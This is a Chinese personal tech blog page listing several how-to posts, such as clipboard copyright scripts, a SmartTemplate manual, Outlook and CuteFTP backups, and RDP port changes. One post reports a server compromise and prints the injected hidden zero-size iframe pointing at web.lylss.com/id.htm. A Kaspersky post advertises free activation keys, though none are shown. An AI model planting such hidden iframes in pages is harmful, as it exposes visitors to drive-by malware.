PJblog 复制自动加版权信息 PJblog修改

bywzy 发表于 技术交流 分类,
0

前几天在月光博客看到一篇关于博客文章复制自动加版权信息的帖子
[原文地址:http://www.williamlong.info/archives/1184.html],就是在复制论坛帖子的时候会自动加入版权信息,他将PHPWind论坛上代码整理修改了一下,使其也可以在Z-Blog系统和WordPress系统下正常工作。可我用的是PJBLOG,只能自己修改代码了,因为水平有限,我在两处插入了代码:
在article.asp中50行
  getBlogHead BlogTitle,getCate.cate_Name,getCate.cate_ID
%>
下面插入以下代码:

程序代码 程序代码

<!–复制自动上加来源–>
<script type="text/javascript" charset="UTF-8">
document.body.oncopy=function(){
event.returnValue=false;
var t=document.selection.createRange().text;
var s="本文来源于<%=SiteName%> [<%=siteURL%>] \r\n详细地址为:<%=siteURL%>article.asp?id=<%=id%>  ";
clipboardData.setData('Text','\r\n'+t+'\r\n'+s+'\r\n');
}
</script>


在default.asp中第25行DIV下边插入

程序代码 程序代码

<script type="text/javascript" charset="UTF-8">
document.body.oncopy=function(){
event.returnValue=false;
var t=document.selection.createRange().text;
var s="文本来源于『<%=SiteName%>』 〖<%=siteURL%>〗";
clipboardData.setData('Text','\r\n'+t+'\r\n'+s+'\r\n');
}
</script>


另附月光上的Z-Blog系统和WordPress:

对于Z-Blog系统来说,编辑b_article-single.html这个模板文件,在适当位置加入下面这些代码即可。
<script type="text/javascript">
document.body.oncopy=function(){
event.returnValue=false;
var t=document.selection.createRange().text;
var s="本文来源于<#ZC_BLOG_TITLE#> <#ZC_BLOG_HOST#> , 原文地址:<#article/url#> ";
clipboardData.setData('Text','\r\n'+t+'\r\n'+s+'\r\n\r\n\r\n');
}
</script>
  对于WordPress系统来说,编辑themes下的模板文件single.php,在适当的位置加入以下代码即可。
<script type="text/javascript">
document.body.oncopy=function(){
event.returnValue=false;
var t=document.selection.createRange().text;
var s="本文来源于<?php bloginfo('name'); ?> <?php echo get_settings('home'); ?> , 原文地址: <?php the_permalink() ?> ";
clipboardData.setData('Text','\r\n'+t+'\r\n'+s+'\r\n');
}
</script>

smartTemplate 中文手册 PHP模板手册 ROWCNT ROWBIT

bywzy 发表于 技术交流 分类,
0

smartTemplate 中文手册(部分)    
1、SmartTemplate的效率

2、基本变量

3、逻辑运算结构

4、模式(Methods)

5、扩展类(Extensions) 未完成

————————————————————————————————————

1、SmartTemplate的效率

虽然他有很多的程序来形成强大的功能,但在执行时只有你调用的才被导入,所以不用担心这方面的速度影响,同样这套模版系统是为最快的执行效率而优化过的,比起目前市场上常见的Smarty,要快不少(Smarty采用后期缓存,所以比较可能不是很准确)。

2、SmartTemplate的变量

Array的变量是由SmartTemplate内建函数assign()来赋值的
具体语法如下
assign ( 模版中的变量, 要替换的内容 )

assign ( Array内容 )  

正如其他程序的变量一样,smartTemplate的变量是由特殊的{}所包含的。里面的内容可以是String,Array,Int,或者是Long Text等等(基本上php支持的)

在储存Array数据时,smartTemplate运用了我们常见的父子级分割符".",所以一个特殊的Array数据由Array Handle和具体位置的索引组成(Numerical Index or Associative Index)。
下面是一个例子

在php环境下运行以下程序
代码:
<?php
$template = new SmartTemplate('template.html');
$text = 'Sample Text';
$template->assign( 'TITLE', $text );
$template->output();
?>

模版
代码:
<html> {TITLE} </html>
输出
代码:
<html> Sample Text </html>  

在只有一个Array的情况下,可以直接省略前面的array handle,就象在使用javascript时,document.window.close()可以省略为window.close()

php
代码:
<?php
$user = array(
'NAME' => 'John Doe',
'GROUP' => 'Admin',
'AGE' => '42',
);

$template = new SmartTemplate('user.html');
$template->assign( $user );
$template->output();
?>

模版
代码:
Name: {NAME}
Group: {GROUP}
Age: {AGE}

输出
代码:
Name: John Doe
Group: Admin
Age: 42

下面是另外一个例子。
使用了SmartTemplate的循环函数
<!– begin Array名 –>XXXXXX<!– end Array名>
他的功能类似foreach(),只要有东西,就一直循环显示

代码:
<?php
$links = array(
array(
'TITLE' => 'PHP',
'URL' => 'http://www.php.net/',
),
array(
'TITLE' => 'Apache',
'URL' => 'http://www.php.net/',
),
array(
'TITLE' => 'MySQL',
'URL' => 'http://www.mysql.com/',
),
);

$template = new SmartTemplate('links.html');
$template->assign( 'links', $links );
$template->output();

?>


HTML模版
代码:
<html>
<h3> Sample Links </h3>
<!– BEGIN links –>
<a href="{URL}"> {TITLE} </a>
<!– END links –>
</html>


代码:
<html>
<h3> Sample Links </h3>
<a href="http://www.php.net/"> PHP </a>
<a href="http://www.apache.org/"> Apache </a>
<a href="http://www.mysql.com/"> MySQL </a>
</html>


3、SmartTemplate的逻辑控制结构

★If和end If

语法:
<!– IF 变量 –> 变量已被赋值! <!– ENDIF 变量 –>
如果IF后面直接跟变量,变量为Null时会返回0,否则返回1

<!– IF name=="John Doe" –> Your name is John Doe! <!– ENDIF name –>
==判断是否相等,如果相等返回1,不相等返回0

<!– IF name!="John Doe" –> Your name is not John Doe! <!– ENDIF name –>
!=判断是否不等,如果成立返回1,相等则返回0

例子:
PHP

代码:
<?php
require_once "class.smarttemplate.php";
$page = new SmartTemplate("if.html");
$page->assign( 'username', 'John Doe' );
$page->assign( 'usergroup', 'ADMIN' );
$page->assign( 'picture', '' );
$page->output();
?>

HTML
代码:
<!– IF username –> <H3> Welcome, {username} </H3> <!– ENDIF –>

<!– IF picture –> <img src="{picture}"> <!– ENDIF picture –>

<!– IF usergroup="ADMIN" –>

<a href="admin.php"> ADMIN Login </a><br>

<!– ENDIF usergroup –>

输出代码:
<H3> Welcome, John Doe </H3>
<a href="admin.php"> ADMIN Login </a><br>

★IF的子局 else
如果else子句出现在一个逻辑循环中,当if的条件不成立时则会被运行。
例子
代码:
<?php
require_once "class.smarttemplate.php";
$page = new SmartTemplate("else.html");
$page->assign( 'username', 'John Doe' );
$page->assign( 'usergroup', 'ADMIN' );
$page->assign( 'picture', '' );
$page->output();
?>

模版
代码:
<!– IF username –>
<H3> Welcome, {username} </H3>
<!– ENDIF –>
<!– IF picture –>
<img src="{picture}">
<!– ELSE –>
Picture not available! <br>
<!– ENDIF picture –>
<!– IF usergroup="ADMIN" –>
<a href="admin.php"> ADMIN Login </a><br>
<!– ELSE –>
You are in guest mode!
<!– ENDIF usergroup –>
输出
代码:
<H3> Welcome, John Doe </H3>
Picture not available! <br>
<a href="admin.php"> ADMIN Login </a><br>
★elseif
elseif是else和if组合起来的一种结构,其意义为"除此之外如果…"
以下是一个例子
代码:
<?php
require_once "class.smarttemplate.php";
$page = new SmartTemplate("elseif.html");
$page->assign( 'usergroup', 'INTERNAL' );
$page->output();
?>

模版文件
代码:
<!– IF usergroup="ADMIN" –>
<a href="admin.php"> 管理员登陆 </a><br>
<!– ELSEIF usergroup="SUPPORT" –>
<a href="support.php"> 帮助人员登陆</a><br>
<!– ELSEIF usergroup –>
<a href="other.php"> 普通方式登陆 </a><br>
<!– ELSE –>
You don't even have a usergroup!
<!– ENDIF –>
运行php得到的输出
代码:
<a href="other.php"> 普通方式登陆 </a><br>
★Begin…End
这个语句用于读取一个整数索引矩阵(Numerical Array,以数字为索引的数组)的值.而每个整数矩阵的子矩阵则成为以字符串为索引的矩

备份outlook2007帐号 outlook2007帐号导入 账号备份

bywzy 发表于 技术交流 分类,
0

平时经常用outlook收发邮件 使用的版本是office outlook2007版,上次硬盘
损坏,导致帐号,联系人,个性签名等信息全部丢失。邮件内容通过以前备份的
PST文件,恢复了一部分。新的一年,刚刚开始,所以对电脑的资料进行了整理
备份,可以outlook2007中找了好久,都没有找到关于帐号备份的设置
。上网搜索后,出来的的基本都是内容备份或带工具的outlook2003帐号备份,
还有第三方工具的备份介绍如ABF Outlook Backup。后来找到一个通过注册表
备份的介绍(例子也是讲的outlook2003),我在outlook2007上测试也没有问题
现整理共享一下outlook2007备份
1。邮件内容的备份:导入导出或直接找到数据文件复制(复制时需关闭outlook)
2。个性签名的备份:把系统盘的Documents and Settings\你的用户名\Application Data\Microsoft\Signatures目录中的内容复制到备份目录即可
3。联系人的备份:[文件]菜单中的“导入导出”,选择联系人目录即可
4。帐号的备份:运行regedit打开注册表,展开到[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
    注意这个目录下有二个是带子项的,找到子项以000开头的那个项
(我机上的项名是:9375CFF0413111d3B88A00104B2A6676)
将这个项的内容导出到一个.reg文件。
  以后双击即可恢复
  这里可能还有一问题,就是如果转移到别的机器上。这人项名不同会不会出错。我测试的两个机器
项目都是一样的。  使用中有什么问题,可留言交流。
  

不装WEB迅雷 下载软件 突破迅雷下载 去除广告下载

bywzy 发表于 技术交流 分类,
0

今天想在网上找一段代码。结果好不容易找到一个网可以下载
但一点击发现要装web迅雷才可以下载。都是广告。。实在不想装那个web迅雷。因为我机上装过迅雷了,看着打开的空白页面。无奈之余点了一下,查看一源代码。
发现如下代码:
<script>
<!–
//window.moveTo(100,100);
//window.resizeTo(550,400);
//–>
</script>
<script src='http://XXXXXXXXXXXXXXX.js'></script>
<script>OnDownloadClick('thunder://XXXXXXXXXXXXXXX==','',location.href,'12094',false)</script>
<script>window.setInterval("window.close()",3600);</script>
然后打开迅雷,把OnDownloadClick中的内容一复制,。。。。下载开始了
方法很简单,只是以前一直没试过

web.lylss.com/id.htm 网站挂马 木马清除 ASP 木马

bywzy 发表于 技术交流 分类,
0

<iframe src=http://web.lylss.com/id.htm width=0 height=0></iframe>
昨天早上到公司,发现自己的这个网站无法打开,提示出错,后来同事说公司的网站也
打不开,这两个网站是托管在同一台机器上的(浙江电信机房),到服务器上一查看,所
有的ASP、html结尾的文件,都被加上了这段代码:

程序代码 程序代码
<iframe src=http://web.lylss.com/id.htm width=0 height=0></iframe>


同时,机房说这个服务器上的好多网站都被挂了。
幸好,这个木马程序我也有,通过木马的清马功能,是可以清除的。
我在清马的过程中发现,我的马也被挂了,看来那家伙,还连在服务器。结果只能关了
网站,一个一个清理。同时,通过日志找到了他的木马。重命名后,修改密码。就用它
的木马清理它挂的马。以其人之道,还治其人之身。清除扫描结束后,一般网站都能正
常恢复。但如果你网站上有大量的iframe ,可能会造成部分程序出错。(像用Fckeditor
的,就会报错。)如果网站数据库是以.asp作为扩展名的,那可就惨了(就像我自己的这
个网站)。网站数据库也会被木马破坏,且无法清除。(反正,用那个ASP木马清除不了,
我也用工具修复过,但还是打不开,有高手能还原的请指教一下)本来以.asp作为扩展名,
防下载的,没想到,结果数据都没有了。
幸好前几天备份了一回,只丢失一周的数据。
PJBlog作博客的朋友注意了,数据库最好不要用默认的.asp作为扩展名!!

osDate2.0.8 中文版 中文语言包修改 交友网站PHP 下载

bywzy 发表于 技术交流 分类,
0

最近帮朋友做一个PHP的交友网站,在网上找了好久没有找到什么可用的代码。
不是加密的,就是太简单,或没有数据库。无奈之下,只好选择Osdate了。
这个软件是不错。不过外国人开发的东西,虽说有中文包,但好多地方还是用起
来不习惯。像区,城市,省份的数据表就没有中国的。于是只好自己修改程序(
在网上看到一个收费的,国人修改过的osDate 2.0.7。程序简介上说明,修正了
中文问题和包含中国的区域代码。有银子的,可以去买个试试:)
在官方网站下载了最新的版本osDate2.0.8版。测试过程中主要发现以下问题:
1.中文语言包有错误:
打开lang_main.php
找到2507行 将其删除或注释//$lang['sections'] = Array;
2.不能用中文名进行注册,好多地方进行了编码检查。
3.默认语言设置(在myconfigs文件中)
4.需要在数据库中删除一些不需要的内容,并更新profile_questions.php文件中的
内容。
程序演示请看这里:同城交友网站 盐城交友网站
http://www.lools.com.cn

卡巴斯基 7.0 key kav7.0 key 7月1日更新 7激活码key 最新可用Key

bywzy 发表于 技术交流 分类,标签: , , , ,
853

KAV7.0 key下载 4月6日更新 7.0激活码key 最新可用Key
卡巴斯基7.0功能特点介绍
  1、卡巴斯基安全套装7.0刚刚上市就获得了国际8项大奖,并申请了200多个软件专利技术,目前国内的杀毒软件几乎都是模仿或者购买卡巴斯基软件专利技术;
  2、拥有50的万病毒数据库以及特征码,杀毒率高达99.6%,国产软件杀毒率只有*%左右;
  3、卡巴斯基安装套装7.0集成了强大的防火墙功能,让你的电脑免受黑客、间谍软件的攻击;
  4、卡巴斯基7.0优化了6.0占用内存高的问题,彻底解决了内存不足的问题,让你的电脑流畅的运行7.0;
  5、国内杀毒软件最大的软肋就是脱壳技术,卡巴斯基6.0拥有强大的脱壳技术,而7.0又在6.0的基础上有了质的飞跃,这也是杀毒率几近100%的重要原因;
  6、卡巴斯基7.0拥有自我保护功能,而卡巴斯基自身文件夹百毒不侵,不像国内的部分杀毒软件,被感染后就无法启动杀毒软件;
  7、卡巴斯基实时升级,每天最多达15次更新其数据库,;
阅读全文 »

Windows XP自动登录设置 XP记住密码 XP自动

bywzy 发表于 技术交流 分类,
0

Windows XP自动登录设置
方法:单击“开始/运行”,
输入“rundll32 netplwiz.dll,UsersRunDll”(直接复制黑体内容即可),
按回车键后弹出“用户帐户”窗口,(跟“控制面板”中打开的“用户账户”面板窗口不同
然后取消选定“要使用本机,用户必须输入用户名和密码”选项,单击确定,
在弹出的对话框中输入你想让电脑每次自动登录的账户和密码即可。

另外,如果想临时以其他用户身份登录,只要在启动Windows的过程中按住Shift键
待出现登录对话框时输入用户名和密码即可。

windowXP远程桌面端口 更改2003远程桌面端口 3389端口

bywzy 发表于 技术交流 分类,
0

Windows XP/2003系统中的远程终端是一项非常实用的功能,而默认的
远程终端服务端口为3389。为了防止入侵者扫描主机开放端口,一旦发现
其开放了3389端口,就会进行下一步的入侵,
我们可以通过注册表来修改window XP/windows 2003的远程桌面端口:

步骤:打开“开始→运行”,输入“regedit”,打开注册表,进入以下路径:

程序代码 程序代码

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:000097f3
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:000097f3


修改相应的PortNamber值就可以了,其默认值是d3d(十进制即为3389),修改成
所希望的端口即可,例如3889。

global SCAPE CuteFtp 8 站点数据文件 恢复

bywzy 发表于 技术交流 分类,
0

上次电脑出问题重装后,global SCAPE 里的好多网站的维护信息都没有了.
还有几个,因为时间长了,密码记不得了,
幸好别的盘里有一个以前备份的GHOST文件,于是用GHOSTXP打开备份文
件,在
C:\Documents and Settings\用户名\Application Data\GlobalSCAPE\CuteFTP \
找到sm.dat 。导出后,覆盖现在的sm.dat(Application Data是隐藏文件
夹,需要先在文件夹选项中开启显示隐藏文件,才可以看到).所有的站点信息都有了。
只有本地目录可能需要重新设置一下。
这次分区表出错,电脑好多资料都没有了,
只有失去的时候,才知道备份的重要!